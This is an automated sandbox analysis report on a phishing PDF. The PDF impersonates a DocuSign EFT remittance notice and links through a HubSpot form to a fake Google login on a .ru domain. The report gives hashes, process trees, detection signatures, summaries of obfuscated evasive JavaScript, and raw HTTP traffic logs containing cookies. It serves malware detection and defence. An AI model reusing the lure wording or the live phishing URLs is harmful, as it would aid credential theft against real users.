Edit tour

Windows Analysis Report
FINAL000035745873695487KHFKA.pdf

Overview

General Information

Sample name:	FINAL000035745873695487KHFKA.pdf
Analysis ID:	1576301
MD5:	95a4b553d674aa1e46feffe7fd1812b3
SHA1:	6faa0c2b1c6b38a9a61ba38a9549de542d7a2b35
SHA256:	f408b67a427912c98fbdfe04407af1d0d0e2a649ba25d6962dc1b87a86bb402b
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Yara detected HtmlPhish44

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Suspicious PDF detected (based on various text indicators)

IP address seen in connection with other malware

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

Acrobat.exe (PID: 6552 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\FINAL000035745873695487KHFKA.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6812 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7032 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1568,i,10484229223213725940,12747390876962115917,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7736 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7924 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2076,i,9481928176101454276,10224142333723475719,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 1672 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 3516 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=1948,i,5665502545980441314,8434403602950159140,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_296	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security
dropped/chromecache_304	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw	SlashNext: Label: Credential Stealing type: Phishing & Social Engineering
Source: https://qb06.ffcwygff.ru/	Avira URL Cloud: Label: phishing
Source: https://qb06.ffcwygff.ru/favicon.ico	Avira URL Cloud: Label: phishing

Phishing

AI detected phishing page

Source: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde

Joe Sandbox AI: Score: 9 Reasons: The brand 'Google' is well-known and typically associated with the domain 'google.com'., The URL 'qb06.ffcwygff.ru' does not match the legitimate domain for Google., The domain extension '.ru' is unusual for Google, which primarily uses '.com'., The URL contains random characters and does not resemble any known Google subdomains or services., The presence of a non-Google domain with a well-known brand name is a common phishing tactic. DOM: 4.12.pages.csv

Yara detected HtmlPhish44

Source: Yara match	File source: dropped/chromecache_296, type: DROPPED
Source: Yara match	File source: dropped/chromecache_304, type: DROPPED

AI detected landing page (webpage, office document or email)

Source: PDF document	Joe Sandbox AI: Page contains button: 'VIEW DOCUMENT' Source: 'PDF document'
Source: PDF document	Joe Sandbox AI: PDF document contains prominent button: 'view document'
Source: https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw	Joe Sandbox AI: Page contains button: 'VIEW DOCUMENT' Source: '1.1.pages.csv'
Source: https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw	Joe Sandbox AI: Page contains button: 'VIEW DOCUMENT' Source: '1.2.pages.csv'
Source: https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw	Joe Sandbox AI: Page contains button: 'VIEW DOCUMENT' Source: '1.3.pages.csv'
Source: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413	Joe Sandbox AI: Page contains button: 'Click to verify' Source: '2.6.pages.csv'
Source: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde	Joe Sandbox AI: Page contains button: 'Submit' Source: '4.12.pages.csv'

AI detected suspicious Javascript

Source: 0.18.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external domain. The script also includes a self-executing function that repeatedly triggers a debugger statement, which could be an attempt to detect and evade analysis. Overall, the combination of these behaviors suggests this script is likely malicious and should be treated with caution.
Source: 0.17.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. While the script may have a legitimate purpose, the use of obfuscated code and the overall suspicious nature of the behavior warrant further investigation and a medium-to-high risk assessment.
Source: 0.19.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af... This script demonstrates multiple high-risk behaviors, including dynamic code execution via the Proxy object and eval, potential data exfiltration, and obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.
Source: 0.82.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d43... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external website. The combination of these behaviors suggests a malicious intent to prevent analysis and potentially compromise the user's system.

Suspicious PDF detected (based on various text indicators)

Source: Adobe Acrobat PDF

OCR Text: docusign You have received an EFT Remittance Document VIEW DOCUMENT Completed via Docusign: Notification of EFT_Payment 112-8674kHQ Do Not Share This Email This email contains a secure link to DocuSign . Please do not share this email, link, or access code with others

Source: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413	HTTP Parser: No favicon
Source: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413	HTTP Parser: No favicon
Source: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413	HTTP Parser: No favicon
Source: https://support.google.com/	HTTP Parser: No favicon
Source: https://support.google.com/	HTTP Parser: No favicon
Source: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde	HTTP Parser: No favicon
Source: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde	HTTP Parser: No favicon
Source: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde	HTTP Parser: No favicon

Source: Joe Sandbox View	IP Address: 104.18.161.117 104.18.161.117
Source: Joe Sandbox View	IP Address: 104.16.118.116 104.16.118.116
Source: Joe Sandbox View	IP Address: 104.18.40.240 104.18.40.240
Source: Joe Sandbox View	IP Address: 104.16.107.254 104.16.107.254

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.82
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.82
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.82
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.82
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.82
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /1CW530LkrS821BfbeHP3L2wsoxpw HTTP/1.1Host: share.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /forms-submission-pages/static-1.5502/bundles/share-legacy.js HTTP/1.1Host: static.hsappstatic.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://share.hsforms.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /forms/embed/v3.js HTTP/1.1Host: js.hsforms.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /48192692.js HTTP/1.1Host: js.hs-scripts.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /forms-submission-pages/static-1.5502/bundles/share-legacy.js HTTP/1.1Host: static.hsappstatic.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /48192692.js HTTP/1.1Host: js.hs-scripts.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=ZI8UTvegFNP5rQege.eeteW8cWNW5q._RPGfqKRhh.g-1734371125-1.0.1.1-UBUv7VFQYjMF8QRXzq6U5kaxiNzjkXU6sCwl1PVu0rDXMJgMHmveH3Gs2MIvfM.KCOrK0X2CICuMeYWfMVf0Ng
Source: global traffic	HTTP traffic detected: GET /analytics/1734370800000/48192692.js HTTP/1.1Host: js.hs-analytics.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/48192692/banner.js HTTP/1.1Host: js.hs-banner.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /collectedforms.js HTTP/1.1Host: js.hscollectedforms.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://share.hsforms.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/v3/form/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1Host: forms.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://share.hsforms.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /forms/embed/v3.js HTTP/1.1Host: js.hsforms.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=E7U2S61qrIek.jNzOKFmchdRCtzzlxLzg2xlFHPgpeY-1734371125-1.0.1.1-KTKNsXMXCRvHqwLQ2XE5CU8bPktIxJ..50NkL..SkMsduEk6Odrhog19RjCJjIstZOAql.Alm5YQ0vnw24np0g
Source: global traffic	HTTP traffic detected: GET /StyleGuideUI/static-3.412/img/sprocket/favicon-32x32.png HTTP/1.1Host: static.hsappstatic.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=TisDfS5EwCkPQO9w8G49nm2Q3wEv82zBmhpEfkJWsQI-1734371127-1.0.1.1-PNFKVZypApjTtVjs6mS_xRrMB9T1HEFhDH7z0CuKX4RHWpZAXaGqsF6zfpiqqvdiZ8.FyF.R4M2P0JXbYdtD9w
Source: global traffic	HTTP traffic detected: GET /analytics/1734370800000/48192692.js HTTP/1.1Host: js.hs-analytics.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=ovm.5m4XXBhqX96HjGDnKBKwzkRW5.fhCVEFbNsSnTc-1734371127-1.0.1.1-J.cIrlvr7HrK3QLjxOSwhIf8zYGBdcd1ujprTeRCDT81W6mPBFtz3lR7KPxdMmk3NNFQVJgQHCYd7.p34TzUkA
Source: global traffic	HTTP traffic detected: GET /v2/48192692/banner.js HTTP/1.1Host: js.hs-banner.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=_tQ8gbu8.Vf6_7qwvVydLnTY59EDiIV5X8iDyvgfVcw-1734371127-1.0.1.1-tDX1eTPh0AVedTqcJBXIrcvpmmIo1QAUOYVi3rMAN4XRYNDrpDi1PDVDjLkKBj8MZGCUqO1DFzfMs3735vopKw
Source: global traffic	HTTP traffic detected: GET /collected-forms/v1/config/json?portalId=48192692&utk= HTTP/1.1Host: forms.hscollectedforms.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://share.hsforms.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371126855&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /collectedforms.js HTTP/1.1Host: js.hscollectedforms.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/v3/form/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1Host: forms.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
Source: global traffic	HTTP traffic detected: GET /hubfs/48192692/images-4.png HTTP/1.1Host: 48192692.fs1.hubspotusercontent-na1.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1Host: forms.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
